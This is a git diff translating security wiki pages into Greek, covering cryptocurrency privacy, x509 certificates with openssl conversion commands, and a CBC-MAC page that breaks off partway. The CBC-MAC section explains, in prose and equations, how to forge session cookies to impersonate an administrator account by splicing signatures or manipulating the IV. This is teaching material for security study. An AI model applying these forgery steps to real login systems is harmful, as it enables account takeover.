**Τεχνικές Συγχρονισμού Πορτοφολιών** -## **Wallet Synchronization Techniques** +Για να διατηρηθεί η ιδιωτικότητα και η ασφάλεια, ο συγχρονισμός των πορτοφολιών με την blockchain είναι κρίσιμος. Δύο μέθοδοι ξεχωρίζουν: -To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: +- **Πλήρης κόμβος**: Κατεβάζοντας ολόκληρη την blockchain, ένας πλήρης κόμβος εξασφαλίζει μέγιστη ιδιωτικότητα. Όλες οι συναλλαγές που έχουν γίνει ποτέ αποθηκεύονται τοπικά, καθιστώντας αδύνατο για τους αντιπάλους να προσδιορίσουν ποιες συναλλαγές ή διευθύνσεις ενδιαφέρει ο χρήστης. +- **Φιλτράρισμα μπλοκ από την πλευρά του πελάτη**: Αυτή η μέθοδος περιλαμβάνει τη δημιουργία φίλτρων για κάθε μπλοκ στην blockchain, επιτρέποντας στα πορτοφόλια να εντοπίζουν σχετικές συναλλαγές χωρίς να εκθέτουν συγκεκριμένα ενδιαφέροντα σε παρατηρητές του δικτύου. Τα ελαφριά πορτοφόλια κατεβάζουν αυτά τα φίλτρα, ανακτώντας πλήρη μπλοκ μόνο όταν βρεθεί αντιστοιχία με τις διευθύνσεις του χρήστη. -- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. -- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found. +## **Χρήση του Tor για Ανωνυμία** -## **Utilizing Tor for Anonymity** +Δεδομένου ότι το Bitcoin λειτουργεί σε ένα δίκτυο peer-to-peer, συνιστάται η χρήση του Tor για να καλύψετε τη διεύθυνση IP σας, ενισχύοντας την ιδιωτικότητα κατά την αλληλεπίδραση με το δίκτυο. -Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. +## **Πρόληψη Επαναχρησιμοποίησης Διευθύνσεων** -## **Preventing Address Reuse** +Για να προστατευθεί η ιδιωτικότητα, είναι ζωτικής σημασίας να χρησιμοποιείτε μια νέα διεύθυνση για κάθε συναλλαγή. Η επαναχρησιμοποίηση διευθύνσεων μπορεί να θέσει σε κίνδυνο την ιδιωτικότητα συνδέοντας συναλλαγές με την ίδια οντότητα. Τα σύγχρονα πορτοφόλια αποθαρρύνουν την επαναχρησιμοποίηση διευθύνσεων μέσω του σχεδιασμού τους. -To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. +## **Στρατηγικές για Ιδιωτικότητα Συναλλαγών** -## **Strategies for Transaction Privacy** +- **Πολλές συναλλαγές**: Η διαίρεση μιας πληρωμής σε πολλές συναλλαγές μπορεί να θολώσει το ποσό της συναλλαγής, αποτρέποντας επιθέσεις κατά της ιδιωτικότητας. +- **Αποφυγή αλλαγής**: Η επιλογή συναλλαγών που δεν απαιτούν εξόδους αλλαγής ενισχύει την ιδιωτικότητα διαταράσσοντας τις μεθόδους ανίχνευσης αλλαγής. +- **Πολλές εξόδους αλλαγής**: Εάν η αποφυγή αλλαγής δεν είναι εφικτή, η δημιουργία πολλών εξόδων αλλαγής μπορεί να βελτιώσει την ιδιωτικότητα. -- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. -- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods. -- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy. +# **Monero: Ένας Φάρος Ανωνυμίας** -# **Monero: A Beacon of Anonymity** +Το Monero καλύπτει την ανάγκη για απόλυτη ανωνυμία στις ψηφιακές συναλλαγές, θέτοντας υψηλά πρότυπα για την ιδιωτικότητα. -Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. +# **Ethereum: Gas και Συναλλαγές** -# **Ethereum: Gas and Transactions** +## **Κατανόηση του Gas** -## **Understanding Gas** +Το gas μετρά την υπολογιστική προσπάθεια που απαιτείται για την εκτέλεση λειτουργιών στο Ethereum, τιμολογούμενο σε **gwei**. Για παράδειγμα, μια συναλλαγή που κοστίζει 2,310,000 gwei (ή 0.00231 ETH) περιλαμβάνει ένα όριο gas και μια βασική χρέωση, με ένα φιλοδώρημα για να ενθαρρύνει τους miners. Οι χρήστες μπορούν να ορίσουν μια μέγιστη χρέωση για να διασφαλίσουν ότι δεν θα πληρώσουν υπερβολικά, με την υπερβάλλουσα χρέωση να επιστρέφεται. -Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. +## **Εκτέλεση Συναλλαγών** -## **Executing Transactions** +Οι συναλλαγές στο Ethereum περιλαμβάνουν έναν αποστολέα και έναν παραλήπτη, οι οποίοι μπορεί να είναι είτε διευθύνσεις χρηστών είτε έξυπνων συμβολαίων. Απαιτούν μια χρέωση και πρέπει να εξορυχθούν. Οι βασικές πληροφορίες σε μια συναλλαγή περιλαμβάνουν τον παραλήπτη, την υπογραφή του αποστολέα, την αξία, προαιρετικά δεδομένα, το όριο gas και τις χρεώσεις. Σημαντικά, η διεύθυνση του αποστολέα deduced από την υπογραφή, εξαλείφοντας την ανάγκη για αυτήν στα δεδομένα της συναλλαγής. -Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. +Αυτές οι πρακτικές και μηχανισμοί είναι θεμελιώδεις για οποιονδήποτε επιθυμεί να ασχοληθεί με τα κρυπτονομίσματα ενώ δίνει προτεραιότητα στην ιδιωτικότητα και την ασφάλεια. -These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. - -## References +## Αναφορές - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) diff --git a/src/crypto-and-stego/certificates.md b/src/crypto-and-stego/certificates.md index d0c4ad006..1a8ccdc03 100644 --- a/src/crypto-and-stego/certificates.md +++ b/src/crypto-and-stego/certificates.md @@ -1,47 +1,38 @@ -# Certificates +# Πιστοποιητικά {{#include ../banners/hacktricks-training.md}} -
+## Τι είναι ένα Πιστοποιητικό -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Ένα **δημόσιο κλειδί πιστοποιητικό** είναι μια ψηφιακή ταυτότητα που χρησιμοποιείται στην κρυπτογραφία για να αποδείξει ότι κάποιος κατέχει ένα δημόσιο κλειδί. Περιλαμβάνει τις λεπτομέρειες του κλειδιού, την ταυτότητα του κατόχου (το υποκείμενο) και μια ψηφιακή υπογραφή από μια αξιόπιστη αρχή (τον εκδότη). Εάν το λογισμικό εμπιστεύεται τον εκδότη και η υπογραφή είναι έγκυρη, είναι δυνατή η ασφαλής επικοινωνία με τον κάτοχο του κλειδιού. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} +Τα πιστοποιητικά εκδίδονται κυρίως από [αρχές πιστοποίησης](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) σε μια [υποδομή δημόσιου κλειδιού](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Μια άλλη μέθοδος είναι το [δίκτυο εμπιστοσύνης](https://en.wikipedia.org/wiki/Web_of_trust), όπου οι χρήστες επαληθεύουν άμεσα τα κλειδιά ο ένας του άλλου. Η κοινή μορφή για τα πιστοποιητικά είναι [X.509](https://en.wikipedia.org/wiki/X.509), η οποία μπορεί να προσαρμοστεί για συγκεκριμένες ανάγκες όπως περιγράφεται στο RFC 5280. -## What is a Certificate +## x509 Κοινά Πεδία -A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible. +### **Κοινά Πεδία σε Πιστοποιητικά x509** -Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280. +Στα πιστοποιητικά x509, αρκετά **πεδία** παίζουν κρίσιμους ρόλους στην εξασφάλιση της εγκυρότητας και της ασφάλειας του πιστοποιητικού. Ακολουθεί μια ανάλυση αυτών των πεδίων: -## x509 Common Fields +- **Αριθμός Έκδοσης** σηματοδοτεί την έκδοση της μορφής x509. +- **Αριθμός Σειράς** προσδιορίζει μοναδικά το πιστοποιητικό μέσα στο σύστημα μιας Αρχής Πιστοποίησης (CA), κυρίως για παρακολούθηση ανάκλησης. +- Το **Υποκείμενο** πεδίο αντιπροσωπεύει τον κάτοχο του πιστοποιητικού, ο οποίος μπορεί να είναι μια μηχανή, ένα άτομο ή ένας οργανισμός. Περιλαμβάνει λεπτομερή ταυτοποίηση όπως: +- **Κοινό Όνομα (CN)**: Τομείς που καλύπτονται από το πιστοποιητικό. +- **Χώρα (C)**, **Τοποθεσία (L)**, **Πολιτεία ή Επαρχία (ST, S, ή P)**, **Οργάνωση (O)**, και **Οργανωτική Μονάδα (OU)** παρέχουν γεωγραφικές και οργανωτικές λεπτομέρειες. +- **Διακεκριμένο Όνομα (DN)** περιλαμβάνει την πλήρη ταυτοποίηση του υποκειμένου. +- **Εκδότης** αναφέρει ποιος επαλήθευσε και υπέγραψε το πιστοποιητικό, συμπεριλαμβάνοντας παρόμοια υποπεδία όπως το Υποκείμενο για την CA. +- **Περίοδος Ικανότητας** σηματοδοτείται από τις χρονικές σφραγίδες **Όχι Πριν** και **Όχι Μετά**, εξασφαλίζοντας ότι το πιστοποιητικό δεν χρησιμοποιείται πριν ή μετά από μια συγκεκριμένη ημερομηνία. +- Η ενότητα **Δημόσιου Κλειδιού**, κρίσιμη για την ασφάλεια του πιστοποιητικού, προσδιορίζει τον αλγόριθμο, το μέγεθος και άλλες τεχνικές λεπτομέρειες του δημόσιου κλειδιού. +- Οι **επέκταση x509v3** ενισχύουν τη λειτουργικότητα του πιστοποιητικού, προσδιορίζοντας **Χρήση Κλειδιού**, **Εκτεταμένη Χρήση Κλειδιού**, **Εναλλακτικό Όνομα Υποκειμένου**, και άλλες ιδιότητες για την ακριβή ρύθμιση της εφαρμογής του πιστοποιητικού. -### **Common Fields in x509 Certificates** - -In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields: - -- **Version Number** signifies the x509 format's version. -- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking. -- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as: - - **Common Name (CN)**: Domains covered by the certificate. - - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details. - - **Distinguished Name (DN)** encapsulates the full subject identification. -- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA. -- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date. -- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key. -- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application. - -#### **Key Usage and Extensions** - -- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment. -- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication. -- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively. -- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys. -- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status. -- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate. +#### **Χρήση Κλειδιού και Επεκτάσεις** +- **Χρήση Κλειδιού** προσδιορίζει τις κρυπτογραφικές εφαρμογές του δημόσιου κλειδιού, όπως ψηφιακή υπογραφή ή κρυπτογράφηση κλειδιού. +- **Εκτεταμένη Χρήση Κλειδιού** περιορίζει περαιτέρω τις περιπτώσεις χρήσης του πιστοποιητικού, π.χ., για πιστοποίηση διακομιστή TLS. +- **Εναλλακτικό Όνομα Υποκειμένου** και **Βασικός Περιορισμός** καθορίζουν πρόσθετα ονόματα κεντρικών υπολογιστών που καλύπτονται από το πιστοποιητικό και αν είναι πιστοποιητικό CA ή τελικού φορέα, αντίστοιχα. +- Αναγνωριστικά όπως **Αναγνωριστικό Κλειδιού Υποκειμένου** και **Αναγνωριστικό Κλειδιού Αρχής** εξασφαλίζουν μοναδικότητα και ιχνηλασιμότητα των κλειδιών. +- **Πρόσβαση Πληροφοριών Αρχής** και **Σημεία Διανομής CRL** παρέχουν διαδρομές για την επαλήθευση της εκδούσας CA και τον έλεγχο της κατάστασης ανάκλησης του πιστοποιητικού. +- **CT Προπιστοποιητικά SCTs** προσφέρουν διαφάνεια, κρίσιμη για τη δημόσια εμπιστοσύνη στο πιστοποιητικό. ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend # Load an x509 certificate (assuming cert.pem is a certificate file) with open("cert.pem", "rb") as file: - cert_data = file.read() - certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) +cert_data = file.read() +certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) # Accessing fields serial_number = certificate.serial_number @@ -63,160 +54,123 @@ print(f"Issuer: {issuer}") print(f"Subject: {subject}") print(f"Public Key: {public_key}") ``` +### **Διαφορά μεταξύ OCSP και CRL Distribution Points** -### **Difference between OCSP and CRL Distribution Points** +**OCSP** (**RFC 2560**) περιλαμβάνει έναν πελάτη και έναν απαντητή που συνεργάζονται για να ελέγξουν αν ένα ψηφιακό πιστοποιητικό δημόσιου κλειδιού έχει ανακληθεί, χωρίς να χρειάζεται να κατεβάσουν ολόκληρη την **CRL**. Αυτή η μέθοδος είναι πιο αποδοτική από την παραδοσιακή **CRL**, η οποία παρέχει μια λίστα με τους αριθμούς σειράς των ανακληθέντων πιστοποιητικών αλλά απαιτεί τη λήψη ενός ενδεχομένως μεγάλου αρχείου. Οι CRLs μπορούν να περιλαμβάνουν έως 512 καταχωρίσεις. Περισσότερες λεπτομέρειες είναι διαθέσιμες [εδώ](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). -**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). +### **Τι είναι η Διαφάνεια Πιστοποιητικών** -### **What is Certificate Transparency** +Η Διαφάνεια Πιστοποιητικών βοηθά στην καταπολέμηση των απειλών που σχετίζονται με τα πιστοποιητικά, διασφαλίζοντας ότι η έκδοση και η ύπαρξη των SSL πιστοποιητικών είναι ορατές στους ιδιοκτήτες τομέων, τις CA και τους χρήστες. Οι στόχοι της είναι: -Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are: +- Να αποτρέψει τις CA από το να εκδίδουν SSL πιστοποιητικά για έναν τομέα χωρίς τη γνώση του ιδιοκτήτη του τομέα. +- Να καθιερώσει ένα ανοιχτό σύστημα ελέγχου για την παρακολούθηση πιστοποιητικών που εκδόθηκαν κατά λάθος ή κακόβουλα. +- Να προστατεύσει τους χρήστες από δόλια πιστοποιητικά. -- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge. -- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates. -- Safeguarding users against fraudulent certificates. +#### **Καταγραφές Πιστοποιητικών** -#### **Certificate Logs** +Οι καταγραφές πιστοποιητικών είναι δημόσια ελεγχόμενα, μόνο προσθετικά αρχεία πιστοποιητικών, που διατηρούνται από υπηρεσίες δικτύου. Αυτές οι καταγραφές παρέχουν κρυπτογραφικές αποδείξεις για σκοπούς ελέγχου. Τόσο οι αρχές έκδοσης όσο και το κοινό μπορούν να υποβάλουν πιστοποιητικά σε αυτές τις καταγραφές ή να τα ελέγξουν για επαλήθευση. Ενώ ο ακριβής αριθμός των διακομιστών καταγραφής δεν είναι σταθερός, αναμένεται να είναι λιγότερος από χίλια παγκοσμίως. Αυτοί οι διακομιστές μπορούν να διαχειρίζονται ανεξάρτητα από τις CA, ISPs ή οποιαδήποτε ενδιαφερόμενη οντότητα. -Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity. +#### **Ερώτημα** -#### **Query** +Για να εξερευνήσετε τις καταγραφές Διαφάνειας Πιστοποιητικών για οποιονδήποτε τομέα, επισκεφθείτε [https://crt.sh/](https://crt.sh). -To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh). +Διαφορετικές μορφές υπάρχουν για την αποθήκευση πιστοποιητικών, καθεμία με τις δικές της περιπτώσεις χρήσης και συμβατότητα. Αυτή η σύνοψη καλύπτει τις κύριες μορφές και παρέχει καθοδήγηση για τη μετατροπή μεταξύ τους. -Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them. +## **Μορφές** -## **Formats** +### **Μορφή PEM** -### **PEM Format** +- Η πιο ευρέως χρησιμοποιούμενη μορφή για πιστοποιητικά. +- Απαιτεί ξεχωριστά αρχεία για πιστοποιητικά και ιδιωτικά κλειδιά, κωδικοποιημένα σε Base64 ASCII. +- Κοινές επεκτάσεις: .cer, .crt, .pem, .key. +- Χρησιμοποιείται κυρίως από Apache και παρόμοιους διακομιστές. -- Most widely used format for certificates. -- Requires separate files for certificates and private keys, encoded in Base64 ASCII. -- Common extensions: .cer, .crt, .pem, .key. -- Primarily used by Apache and similar servers. +### **Μορφή DER** -### **DER Format** +- Μια δυαδική μορφή πιστοποιητικών. +- Λείπουν οι δηλώσεις "BEGIN/END CERTIFICATE" που βρίσκονται σε αρχεία PEM. +- Κοινές επεκτάσεις: .cer, .der. +- Συχνά χρησιμοποιείται με πλατφόρμες Java. -- A binary format of certificates. -- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files. -- Common extensions: .cer, .der. -- Often used with Java platforms. +### **Μορφή P7B/PKCS#7** -### **P7B/PKCS#7 Format** +- Αποθηκεύεται σε Base64 ASCII, με επεκτάσεις .p7b ή .p7c. +- Περιέχει μόνο πιστοποιητικά και πιστοποιητικά αλυσίδας, εξαιρώντας το ιδιωτικό κλειδί. +- Υποστηρίζεται από Microsoft Windows και Java Tomcat. -- Stored in Base64 ASCII, with extensions .p7b or .p7c. -- Contains only certificates and chain certificates, excluding the private key. -- Supported by Microsoft Windows and Java Tomcat. +### **Μορφή PFX/P12/PKCS#12** -### **PFX/P12/PKCS#12 Format** +- Μια δυαδική μορφή που περιλαμβάνει πιστοποιητικά διακομιστή, ενδιάμεσα πιστοποιητικά και ιδιωτικά κλειδιά σε ένα αρχείο. +- Επεκτάσεις: .pfx, .p12. +- Χρησιμοποιείται κυρίως σε Windows για εισαγωγή και εξαγωγή πιστοποιητικών. -- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file. -- Extensions: .pfx, .p12. -- Mainly used on Windows for certificate import and export. +### **Μετατροπή Μορφών** -### **Converting Formats** - -**PEM conversions** are essential for compatibility: - -- **x509 to PEM** +**Οι μετατροπές PEM** είναι απαραίτητες για τη συμβατότητα: +- **x509 σε PEM** ```bash openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` - -- **PEM to DER** - +- **PEM σε DER** ```bash openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` - -- **DER to PEM** - +- **DER σε PEM** ```bash openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` - -- **PEM to P7B** - +- **PEM σε P7B** ```bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` - -- **PKCS7 to PEM** - +- **PKCS7 σε PEM** ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` +**Οι μετατροπές PFX** είναι κρίσιμες για τη διαχείριση πιστοποιητικών στα Windows: -**PFX conversions** are crucial for managing certificates on Windows: - -- **PFX to PEM** - +- **PFX σε PEM** ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` - -- **PFX to PKCS#8** involves two steps: - 1. Convert PFX to PEM - +- **PFX σε PKCS#8** περιλαμβάνει δύο βήματα: +1. Μετατροπή PFX σε PEM ```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` - -2. Convert PEM to PKCS8 - +2. Μετατροπή PEM σε PKCS8 ```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` - -- **P7B to PFX** also requires two commands: - 1. Convert P7B to CER - +- **P7B σε PFX** απαιτεί επίσης δύο εντολές: +1. Μετατροπή P7B σε CER ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` - -2. Convert CER and Private Key to PFX - +2. Μετατροπή CER και Ιδιωτικού Κλειδιού σε PFX ```bash openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` - -- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure): - 1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/) - +- **ASN.1 (DER/PEM) επεξεργασία** (λειτουργεί με πιστοποιητικά ή σχεδόν οποιαδήποτε άλλη δομή ASN.1): +1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/) ```bash git clone https://github.com/wllm-rbnt/asn1template.git ``` - -2. Convert DER/PEM to OpenSSL's generation format - +2. Μετατροπή DER/PEM στη μορφή παραγωγής του OpenSSL ```bash asn1template/asn1template.pl certificatename.der > certificatename.tpl asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl ``` - -3. Edit certificatename.tpl according to your requirements - +3. Επεξεργαστείτε το certificatename.tpl σύμφωνα με τις απαιτήσεις σας ```bash vim certificatename.tpl ``` - -4. Rebuild the modified certificate - +4. Ανακατασκευάστε το τροποποιημένο πιστοποιητικό ```bash openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem ``` - ---- - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} +--- {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md b/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md index 47f1b2713..8558a676d 100644 --- a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md +++ b/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md @@ -2,54 +2,54 @@ # CBC -If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. +Αν το **cookie** είναι **μόνο** το **όνομα χρήστη** (ή το πρώτο μέρος του cookie είναι το όνομα χρήστη) και θέλεις να προσποιηθείς το όνομα χρήστη "**admin**". Τότε, μπορείς να δημιουργήσεις το όνομα χρήστη **"bdmin"** και να **bruteforce** το **πρώτο byte** του cookie. # CBC-MAC -**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security. +**Cipher block chaining message authentication code** (**CBC-MAC**) είναι μια μέθοδος που χρησιμοποιείται στην κρυπτογραφία. Λειτουργεί παίρνοντας ένα μήνυμα και κρυπτογραφώντας το μπλοκ προς μπλοκ, όπου η κρυπτογράφηση κάθε μπλοκ συνδέεται με το προηγούμενο. Αυτή η διαδικασία δημιουργεί μια **αλυσίδα μπλοκ**, διασφαλίζοντας ότι η αλλαγή ακόμη και ενός μόνο bit του αρχικού μηνύματος θα οδηγήσει σε μια απρόβλεπτη αλλαγή στο τελευταίο μπλοκ των κρυπτογραφημένων δεδομένων. Για να γίνει ή να αντιστραφεί μια τέτοια αλλαγή, απαιτείται το κλειδί κρυπτογράφησης, διασφαλίζοντας την ασφάλεια. -To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: +Για να υπολογίσεις το CBC-MAC του μηνύματος m, κρυπτογραφείς το m σε λειτουργία CBC με μηδενικό αρχικοποιητικό διανύσμα και κρατάς το τελευταίο μπλοκ. Η παρακάτω εικόνα σκιαγραφεί τον υπολογισμό του CBC-MAC ενός μηνύματος που αποτελείται από μπλοκ![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) χρησιμοποιώντας ένα μυστικό κλειδί k και έναν μπλοκ κρυπτογράφο E: ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]() # Vulnerability -With CBC-MAC usually the **IV used is 0**.\ -This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: +Με το CBC-MAC συνήθως το **IV που χρησιμοποιείται είναι 0**.\ +Αυτό είναι ένα πρόβλημα γιατί 2 γνωστά μηνύματα (`m1` και `m2`) ανεξάρτητα θα δημιουργήσουν 2 υπογραφές (`s1` και `s2`). Έτσι: - `E(m1 XOR 0) = s1` - `E(m2 XOR 0) = s2` -Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): +Τότε ένα μήνυμα που αποτελείται από τα m1 και m2 που συνδυάζονται (m3) θα δημιουργήσει 2 υπογραφές (s31 και s32): - `E(m1 XOR 0) = s31 = s1` - `E(m2 XOR s1) = s32` -**Which is possible to calculate without knowing the key of the encryption.** +**Το οποίο είναι δυνατό να υπολογιστεί χωρίς να γνωρίζεις το κλειδί της κρυπτογράφησης.** -Imagine you are encrypting the name **Administrator** in **8bytes** blocks: +Φαντάσου ότι κρυπτογραφείς το όνομα **Administrator** σε **8bytes** μπλοκ: - `Administ` - `rator\00\00\00` -You can create a username called **Administ** (m1) and retrieve the signature (s1).\ -Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ -now, you can use s32 as the signature of the full name **Administrator**. +Μπορείς να δημιουργήσεις ένα όνομα χρήστη που ονομάζεται **Administ** (m1) και να ανακτήσεις την υπογραφή (s1).\ +Τότε, μπορείς να δημιουργήσεις ένα όνομα χρήστη που είναι το αποτέλεσμα του `rator\00\00\00 XOR s1`. Αυτό θα δημιουργήσει `E(m2 XOR s1 XOR 0)` που είναι s32.\ +Τώρα, μπορείς να χρησιμοποιήσεις το s32 ως την υπογραφή του πλήρους ονόματος **Administrator**. ### Summary -1. Get the signature of username **Administ** (m1) which is s1 -2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** -3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. +1. Πάρε την υπογραφή του ονόματος χρήστη **Administ** (m1) που είναι s1 +2. Πάρε την υπογραφή του ονόματος χρήστη **rator\x00\x00\x00 XOR s1 XOR 0** που είναι s32**.** +3. Ρύθμισε το cookie σε s32 και θα είναι ένα έγκυρο cookie για τον χρήστη **Administrator**. # Attack Controlling IV -If you can control the used IV the attack could be very easy.\ -If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ -Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. +Αν μπορείς να ελέγξεις το χρησιμοποιούμενο IV, η επίθεση μπορεί να είναι πολύ εύκολη.\ 